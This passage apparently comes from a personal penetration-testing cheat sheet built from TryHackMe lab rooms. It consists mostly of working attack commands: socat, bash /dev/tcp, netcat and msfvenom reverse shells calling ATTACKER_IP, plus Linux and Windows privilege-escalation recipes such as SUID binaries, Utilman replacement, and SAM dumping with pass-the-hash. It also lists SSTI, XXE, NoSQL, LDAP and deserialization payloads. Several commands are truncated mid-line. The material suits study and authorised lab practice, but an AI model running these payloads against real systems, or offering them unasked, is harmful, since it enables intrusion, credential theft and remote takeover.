1. pty, allocates a pseudoterminal on the target – part of the stabilisation process
2. stderr, makes sure that any error messages get shown in the shell (often a problem with non-interactive shells)
3. sigint, passes any Ctrl + C commands through into the sub-process, allowing us to kill commands inside the shell
4. setsid, creates the process in a new session
5. sane, stabilises the terminal, attempting to "normalise" it.

18 Socat Encrypted Shells

One of the many great things about socat is that it's capable of creating encrypted shells – both bind and reverse. Why would we want to do this? Encrypted shells cannot be spied on unless you have the decryption key, and are often able to bypass an IDS as a result.

We covered how to create basic shells in the previous task, so that syntax will not be covered again here. Suffice to say that any time TCP was used as part of a command, this should be replaced with OPENSSL when working with encrypted shells. We'll cover a few examples at the end of the task, but first let's talk about certificates.

We first need to generate a certificate in order to use encrypted shells. This is easiest to do on our attacking machine:

```
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
```

This command creates a 2048 bit RSA key with matching cert file, self-signed, and valid for just under a year. When you run this command it will ask you to fill in information about the certificate. This can be left blank, or filled randomly. We then need to merge the two created files into a single .pem file:

```
cat shell.key shell.crt > shell.pem
```

Now, when we set up our reverse shell listener, we use:

```
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -
```

This sets up an OPENSSL listener using our generated certificate. verify=0 tells the connection to not bother trying to validate that our certificate has been properly signed by a recognised authority. Please note that the certificate must be used on whichever device is listening.

To connect back, we would use:

```
socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash
```

The same technique would apply for a bind shell:

Target:

```
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
```

Attacker:

```
socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -
```

Again, note that even for a Windows target, the certificate must be used with the listener, so copying the PEM file across for a bind shell is required.

18.1 Powershell reverse shell windows

```
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream
```

19 MSFVenom

Create a windows reverse shell exe

```
msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<l
```

19.1 Format

The format is os - architecture - payload

20 Linux Privilege Escalation

```
hostname
```

The hostname command will return the hostname of the target machine. Although this value can easily be changed or have a relatively meaningless string (e.g. Ubuntu-3487340239), in some cases, it can provide information about the target system's role within the corporate network (e.g. SQL-PROD-01 for a production SQL server).

```
uname -a
```

Will print system information giving us additional detail about the kernel used by the system. This will be useful when searching for any potential kernel vulnerabilities that could lead to privilege escalation.

```
/proc/version
```

The proc filesystem (procfs) provides information about the target system processes. You will find proc on many different Linux flavours, making it an essential tool to have in your arsenal.

Looking at /proc/version may give you information on the kernel version and additional data such as whether a compiler (e.g. GCC) is installed.

```
/etc/issue
```

Systems can also be identified by looking at the /etc/issue file. This file usually contains some information about the operating system but can easily be customized or changed. While on the subject, any file containing system information can be customized or changed. For a clearer understanding of the system, it is always good to look at all of these.

```
ps
```

The ps command is an effective way to see the running processes on a Linux system. Typing ps on your terminal will show processes for the current shell.

The output of the ps (Process Status) will show the following;

1. PID: The process ID (unique to the process)
2. TTY: Terminal type used by the user
3. Time: Amount of CPU time used by the process (this is NOT the time this process has been running for)
4. CMD: The command or executable running (will NOT display any command line parameter)

```
env
```

The env command will show environmental variables.

```
sudo -l
```

The target system may be configured to allow users to run some (or all) commands with root privileges. The sudo -l command can be used to list all commands your user can run using sudo.

```
id
```

The id command will provide a general overview of the user's privilege level and group memberships.

It is worth remembering that the id command can also be used to obtain the same information for another user as seen below.

```
/etc/passwd
```

Reading the /etc/passwd file can be an easy way to discover users on the system

```
netstat
```

Following an initial check for existing interfaces and network routes, it is worth looking into existing communications. The netstat command can be used with several different options to gather information on existing connections.

```
netstat -ano
```

Is the most common way to use netstat.

```
find
```

The following find commands are useful.

1. find . -name flag1.txt: find the file named "flag1.txt" in the current directory
2. find /home -name flag1.txt: find the file names "flag1.txt" in the /home directory
3. find / -type d -name config: find the directory named config under "/"
4. find / -type f -perm 0777: find files with the 777 permissions (files readable, writable, and executable by all users)
5. find / -perm a=x: find executable files
6. find /home -user frank: find all files for user "frank" under "/home"
7. find / -mtime 10: find files that were modified in the last 10 days
8. find / -atime 10: find files that were accessed in the last 10 day
9. find / -cmin -60: find files changed within the last hour (60 minutes)
10. find / -amin -60: find files accesses within the last hour (60 minutes)
11. find / -size 50M: find files with a 50 MB size

20.1 Location of Password Hashes Linux

Password hashes are generally located in the /etc/shadow file

20.2 Special File Permissions (SUID)

```
find / -type f -perm -04000 -ls 2>/dev/null
```

Use GTFObins to find useful binaries for SUID priv escalation

```
https://gtfobins.github.io/#+suid
```

Also useful for sudo priv escalation

```
https://gtfobins.github.io/#sudo
```

20.3 Listen for reverse shell

```
nc -nlvp 7777
```

20.4 Cronjobs

Look under cronjobs to find files that are executed as root.
To make sure a file can be executed, use this command

```
chmod +x <filename>
```

20.5 John password hash cracker

```
john --wordlist=./wordlists/rockyou.txt hash
```

Where rockyou.txt is the rockyou wordlist, and hash is the password hash from the /etc/shadow

20.6 Spawn Simple Reverse Shell

```
bash -i >& /dev/tcp/<ip>/<port> 0>&1
```

20.7 Set SUID bit

```
chmod +s <file>
```

20.8 Path Exploit

Look for writable path.

```
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
```

Add the file dir to path that you can write to.

```
export PATH="/fake/dir:$PATH"
```

Add a binary with this code:
(It is C code, compile it to a binary called thm)

```
gcc something.c -o something
```

```
#include<unistd.h>
void main()
{ setuid(0);
setgid(0);
system("thm");
}
```

Make sure it is SUID

```
chmod +s <file>
```

Run the command thm.

20.9 NFS Escalation

Check shares.

```
showmount -e <ip-of-machine>
```

Look in /etc/exports for directories with no root squash.

Mount the folder, put the binary in it, and run it on the machine. The c binary (that needs to be compiled) is:

```
int main()
{ setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}
```

Mount on attack machine like so:

```
mount -o rw <ip of vuln machine>:/dir/to/mount /dir/on/attack/machine
```

Run the binary.

21 Windows

21.1 Printing File contents

You can use

```
type flag.txt
```

To print file contents of flag.txt

21.2 Users

Find users and or groups user is a part of. Boot this in start menu.

```
lusrmgr.msc
```

To get help for a command, after the command write /?
There are different users on a computer.

1. SYSTEM / LocalSystem An account used by the operating system to perform internal tasks. It has full access to all files and resources available on the host with even higher privileges than administrators.
2. Local Service Default account used to run Windows services with "minimum" privileges. It will use anonymous connections over the network
3. Network Service Default account used to run Windows services with "minimum" privileges. It will use the computer credentials to authenticate through the network.
4. Administrators These users have the most privileges. They can change any system configuration parameter and access any file in the system.
5. Standard Users These users can access the computer but only perform limited tasks. Typically these users can not make permanent or essential changes to the system and are limited to their files.

21.3 Nmap windows vulns

Look for vulnerabilities with nmap.

```
sudo nmap -sS -p 445 10.10.233.124 --script smb-vuln-ms17-010.nse
```

Some vulnerabilities are eternalBlue, ZeroLogon, ftp - smily face
Once you get a shell, search shell_to_meterpreter.
Once in shell, run getsystem to see system privilege.
Make sure to migrate to NT AUTHORITY/SYSTEM via migrate [process]
To find a file run

```
search -f flag2.txt
```

21.4 Command History

To grab command history on cmd.exe use:

```
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_h
```

If you want to do this on powershell, replace %userprofile% with $Env:userprofile

```
type $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHos
```

21.5 Saved Credentials

List saved credentials like so:

```
cmdkey /list
```

You can use these saved credentials like so:

```
runas /savecred /user:admin cmd.exe
```

There can also be credentials saved here:

1. C:/Unattend.xml
2. C:/Windows/Panther/Unattend.xml
3. C:/Windows/Panther/Unattend/Unattend.xml
4. C:/Windows/system32/sysprep.inf
5. C:/Windows/system32/sysprep/sysprep.xml

21.6 IIS Configuration

Internet Information Services (IIS) is the default web server on Windows installations. The configuration of websites on IIS is stored in a file called web.config and can store passwords for databases or configured authentication mechanisms. Depending on the installed version of IIS, we can find web.config in one of the following locations:

1. C:/inetpub/wwwroot/web.config
2. C:/Windows/Microsoft.NET/Framework64/v4.0.30319/Config/web.config

Find database connection strings

```
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connect
```

21.7 puTTY credentials

You can also look for credentials in puTTY.

```
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
```

21.8 Scheduled Tasks

You can see scheduled tasks to run via this command:

```
schtasks
```

And you can get info about a specific one, in this case, vulntask, like so.

```
schtasks /query /tn vulntask /fo list /v
```

If the task is run as a different user, potentially a higher privileged user, then we can escalate.

We can check file permissions on the task file via this command

```
icacls c:\pathto\schtask\schtask.bat
```

(Essentially, the task is being run using schtask.bat, just overwrite that and you're good to go)

We can spawn a windows reverse shell like so:

```
c:\tools\nc64.exe -e cmd.exe ATTACKER_IP ATTACKER_PORT
```

You can save this directly to a file using echo, like so.

```
echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat
```

And we can save that to the .bat file to be run. Listen on the attacker machine with netcat.

```
nc -nlvp ATTACKER_PORT
```

One can also create a malicious MSI, and use that to escalate.

First, see if the following registry values are set. If not, it will not work.

```
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
```

```
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
```

Next Create a payload with msfvenom.

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -
```

Transfer the file over, then run the file like so.

```
msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
```

21.9 Insecure Permissions on Service Executable

```
sc qc WindowsScheduler
```

Check the permissions of the executable that shows up.

```
icacls C:\PROGRA~2\SYSTEM~1\WService.exe
```

Download a reverse_tcp exe file using python web server, then replace the file and grant the permissions. Grant permissions like so.

Downloading it to windows with command:

```
wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe
```

grant the everyone permission

```
icacls WService.exe /grant Everyone:F
```

21.10 SMB Server Sharing

First make a directory called 'share'

Next, run this command:

```
python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -passwor
```

You can then copy the files to the SMB server like so:

```
copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\
```

21.11 Sam and System, SeBackup / SeRestore

Find the sam and system hive files. If you can, back them up like so:

```
reg save hklm\system C:\Users\THMBackup\system.hive
```

```
reg save hklm\sam C:\Users\THMBackup\sam.hive
```

Move them over to an attacker machine via SMB server.

Next, run this using impackets python file.

```
python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
```

Next, run this on the Administrator hash.

```
python3.9 /opt/impacket/examples/psexec.py -hashes [account hash] administrator@[window
```

Then you will be in as admin.

21.12 SeTakeOwnership

Check Privileges of account by typing

```
whoami /priv
```

We can take ownership of any file, so we can replace a specific file, in this case Utilman.exe, which will then be run as system.

```
takeown /f C:\Windows\System32\Utilman.exe
```

Grant yourself all the permissions you need of the newly owned file.

```
icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
```

Now replace the file with a copy of cmd.exe

```
copy cmd.exe utilman.exe
```

And now you have a system cmd

21.13 SeImpersonate / SeAssignPrimaryToken

To use RogueWinRM, we first need to upload the exploit to the target machine. For your convenience, this has already been done, and you can find the exploit in the C:/tools/ folder.

The RogueWinRM exploit is possible because whenever a user (including unprivileged users) starts the BITS service in Windows, it automatically creates a connection to port 5985 using SYSTEM privileges. Port 5985 is typically used for the WinRM service, which is simply a port that exposes a Powershell console to be used remotely through the network. Think of it like SSH, but using Powershell.

If, for some reason, the WinRM service isn't running on the victim server, an attacker can start a fake WinRM service on port 5985 and catch the authentication attempt made by the BITS service when starting. If the attacker has SeImpersonate privileges, he can execute any command on behalf of the connecting user, which is SYSTEM.

Use the webshell to trigger the powershell connection, which you listen for with netcat

```
c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP 44
```

21.14 Unpatched Software

You can get information on the current software on the machine via this command:

```
wmic product get name,version,vendor
```

21.15 Metasploit Automated Priv Escalation

If you have a meterpreter shell open on the system, you can use

```
multi/recon/local_exploit_suggester
```

To see possible exploits

22 Mapping Hosts to IP Addresses

Navigate to:

```
C:\Windows\System32\drivers\etc\hosts
```

Add the IP address first, then the host names you want it to map to. Like so:

```
10.10.150.37 overwrite.uploadvulns.thm
```

You can have multiple hosts after the IP, separated by a space.
On linux, like so:

```
echo "10.10.238.117 webenum.thm" >> /etc/hosts
```

The /etc/hosts file is where these are saved.

23 GoBuster

Enumerate directories like so

```
gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-
```

In the case of my locations, (rippy)

```
gobuster dir -u http://10.10.10.10 -w
./wordlists/dirbuster/directory-list-2.3-medium.txt
```

Add a pattern to go through specific directories prefixes like so

```
gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-
```

Where pattern contains:

```
hmr_{GOBUSTER}
```

If say, hmr_ was the prefix
Where the url is the base url that gobuster is looking in. Here are extra flags

1. Flag Long Flag Description
2. -c –cookies Cookies to use for requests
3. -x –extensions File extension(s) to search for

4. -H –headers Specify HTTP headers, -H 'Header1: val1' -H 'Header2: val2'
5. -k –no-tls-validation Skip TLS certificate verification
6. -n –no-status Don't print status codes
7. -P –password Password for Basic Auth
8. -s –status-codes Positive status codes
9. -b –status-codes-blacklist Negative status codes
10. -U –username Username for Basic Auth

To enumerate through extensions run this command:

```
gobuster dir -u http://10.10.252.123/myfolder -w /usr/share/wordlists/dirbuster/directo
```

To enumerate sub domains, use this command like so:

```
gobuster dns -d mydomain.thm -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-
```

To enumerate virtual hosts, use this command:

```
gobuster vhost -u http://example.com -w /usr/share/wordlists/SecLists/Discovery/DNS/sub
```

24 WPScan

One can enumerate a site's themes like so:

```
wpscan --url http://wpscan.thm --enumerate t
```

If you want to enumerate plugins, use -p, or users -u
One can do a password attack like so:

```
wpscan --url http://wpscan.thm --passwords /usr/share/wordlists/rockyou.txt --usernames
```

25 Nikto

One can scan for website under nikto like so:

```
nikto -h 10.10.196.91 -p 80
```

Then you can check for multiple websites using nmap and nikto

```
nmap --top-ports 1000 10.10.64.208 -oG - | nikto -h
```

You can look for cookies like so:

```
nikto -h 10.10.64.208 -p 8080 -Display 2
```

26 Checklist for breaking in

1. nmap for ports and services
2. Look at browser source code. LOOK AT SOURCE CODE.
3. enumerate for directories AND files with gobuster -x json, php, html, txt, log to name a few
4. Theres a SQL payload tester list for burp suite

27 Alternatives to cat

1. tac Sup3rS3cretPickl3Ingred.txt
2. less Sup3rS3cretPickl3Ingred.txt
3. strings Sup3rS3cretPickl3Ingred.txt
4. grep . Sup3rS3cretPickl3Ingred.txt
5. cp Sup3rS3cretPickl3Ingred.txt /dev/stdout
6. while read line; do echo $line; done ¡ Sup3rS3cretPickl3Ingred.txt

28 Adding a space in directories

Use backslash like so:

```
tac /home/rick/second\ ingredients
```

29 Web Hacking

29.1 JWT (JSON Web Tokens)

One can make a curl request like so to an endpoint for API

```
curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" :
```

One can make an authorization to the API like so:

```
curl -H 'Authorization: Bearer [JWT token]' http://10.10.120.68/api/v1.0/example2?userna
```

One can edit JWT tokens with SECRETS here:

```
https://jwtsecrets.com/tools/jwt-encode
```

Or here

```
https://jwt.rocks/
```

If you want None for the algorithm, use this as the header

```
eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0=
```

There is also an audience field, which if you are authenticated on one app, say appB, you can use the same token to authenticate on appA.

29.2 Brute forcing emails from common email list

Using burp suite (remember to check if the cookie is tied to rate limiting and delete it) in burp suite. Use the sniper attack.

29.3 SQLMAP

29.3.1 Enumerate Databases

For a GET request, use this command:

```
sqlmap -u https://testsite.com/page.php?id=7 --dbs
```

–dbs enumerates the database.

First, for a POST request, using burp suite, capture a request to the vulnerable parameter. Save this as a text file, called req.txt. If the vulnerable parameter was blood_group, indicate that. It could also be id, or something else.

```
sqlmap -r req.txt -p blood_group --dbs
```

```
sqlmap -r <request_file> -p <vulnerable_parameter> --dbs
```

29.3.2 Enumerate tables

Using a GET request, one can extract the tables of a database like so:

```
sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> --tables
```

Using a POST request, one can extract the tables of a database like so:

```
sqlmap -r req.txt -p <vulnerable_parameter> -D <database_name> --tables
```

29.3.3 Enumerate Columns

Using a GET request, one can extract the columns of a database like so:

```
sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> -T <table_name> --colum
```

Using a POST request, one can extract the columns of a database like so:

```
sqlmap -r req.txt -D <database_name> -T <table_name> --columns
```

29.3.4 Enumerate DB and Tables

Using a GET request, you can extract all avaliable databases and tables like so:

```
sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> --dump-all
```

Using a POST request, you can extract all available databases and tables like so:

```
sqlmap -r req.txt-p  -D <database_name> --dump-all
```

29.3.5 Dump Data

You can dump the data with –dump on the end. (This outputs the sql table data)

29.3.6 Current User

You can see current-user with –current-user

29.4 Advanced SQLi

One can encode payloads in URL, Hexadecimal, or ASCII.
For examples, see the THM room

```
https://tryhackme.com/room/advancedsqlinjection
```

Some automated tools for finding sqli are

1. SQLmap
2. SQLNinja
3. Java SQL Injection
4. BBQSQL

29.5 MongoDB

You can inject syntax like so for mongodb. This gives a collection of accounts who's username is not equal to ([$ne]) username and their password not equal to password.

```
user[$ne]=username&pass[$ne]=password
```

Next, you can ignore certain account usernames like so: with the ([$nin]) syntax

```
user[$nin][]=admin&user[$nin][]=pedro&user[$nin][]=john&user[$nin][]=secret&pass[$ne]=pa
```

You can essentially brute force a password like so, using regular expression.

```
user[$nin][]=admin&pass[$regex]=^.{7}$
```

This represents a wildcard length of 7. So if the password is 7 characters long, it would go through. Once you find the length, find the characters by testing each one individually. like so:

```
user[$nin][]=admin&pass[$regex]=^c....$
```

See the NOSQL room here

```
https://medium.com/@cyfernest/nosql-injection-tryhackme-walkthrough-b63b200f9d2b
```

29.6 XXE

Check out the room here

```
https://tryhackme.com/room/xxeinjection
```

One can get the passwd file like so by replacing the returned XML file like so:

```
    <!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<contact>
<name>&xxe;</name>
<email>test@test.com</email>
<message>test</message>
</contact>
```

29.7 Server Side Template Injection (SSTI)

Use this payload to look for SSTI

```
${{<%[%'"}}%\.
```

One can execute arbitrary code using templates, such as jinja (python), pug (Javascript), or smarty (PHP).
see the room here

```
https://tryhackme.com/room/serversidetemplateinjection
```

29.7.1 Smarty (PHP)

Twig is also PHP. Here is a twig payload:

```
{{['ls', '']|sort('passthru')}}
```

RCE can be done like so for Smarty.

```
{system("ls")}
```

29.7.2 Jinja (Python)

RCE can be done like so

```
    {{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__")
```

29.7.3 Pug/Jade (JS)

RCE can be done like so

```
#   {root.process.mainModule.require('child_process').spawnSync('ls', ['-lah']).stdout}
```

29.8 LDAP

One can do LDAP injections with proper logic. For example, if the code directly puts in the username and password like so:

```
    (&(uid={userInput})(userPassword={passwordInput}))
```

Then one can put * in for both username and password to login.

29.9 Insecure Deserialization

Using this code, one can create a base64 command representation to de-serialize and spawn a reverse shell.

```
    <?php
class MaliciousUserData {
public $command = 'ncat -nv ATTACK_IP 4444 -e /bin/sh';
}

$maliciousUserData = new MaliciousUserData();
$serializedData = serialize($maliciousUserData);
$base64EncodedData = base64_encode($serializedData);
echo "Base64 Encoded Serialized Data: " . $base64EncodedData;
?>
```

One can create payloads with phpggc.

30 Shell Stabilization

```
    python -c 'import pty;pty.spawn("/bin/bash")'

    export TERM=xterm

    [ctrl + Z]

    stty raw -echo;fg
```

31 Search for SUID files

```
find / -type f -a -perm -u+s 2>/dev/null
```

32 Enumerate SMB shares

```
smbclient -L \\10.201.83.5
```

hop onto a share like so:

```
smbclient \\\\10.201.83.5\\anonymous
```

33 Stabilize Shell

```
python -c ‘import pty;pty.spawn("/bin/bash")’
```

34 Generate Metasploit payload bytes

```
 msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.19 LPORT=1234 EXITFUNC=thread -f
```

35 XRDP

```
xfreerdp /u:<username> /p:<password> /v:<IP_address>
```

36 Hashcat

```
hashcat -a 0 -m 1800 hash ./wordlists/rockyou.txt --force
```

37 Make file executable

```
chmod +x filename
```

38 LinPEAS

run the linpeas script like so:

```
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

Linpeas is here

```
https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS
```

39 Scanning for vulnerabilities with NMAP

```
https://www.stationx.net/how-to-scan-vulnerabilities-with-nmap/
```

40 Enum4linux

Can be useful.

41 Msfvenom Reverse TCP shell

Want stageless

```
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe
```

See here

```
https://infinitelogins.com/2020/01/25/msfvenom-reverse-shell-payload-cheatsheet/
```

42 PowerUp.ps1

If it doesn't work, do this

```
    Set-ExecutionPolicy Bypass -Scope Process
$VerbosePreference = "Continue"
. .\PowerUp.ps1
Invoke-AllChecks
```

43 Windows Privilege Escalation

```
https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook
```

44 NFS Mounting

```
sudo mount -t nfs $IP:home /tmp/mount/ -nolock
```

45 GET,POST,PUT,Delete

Crud - create, read, update, delete. Post, get, put, delete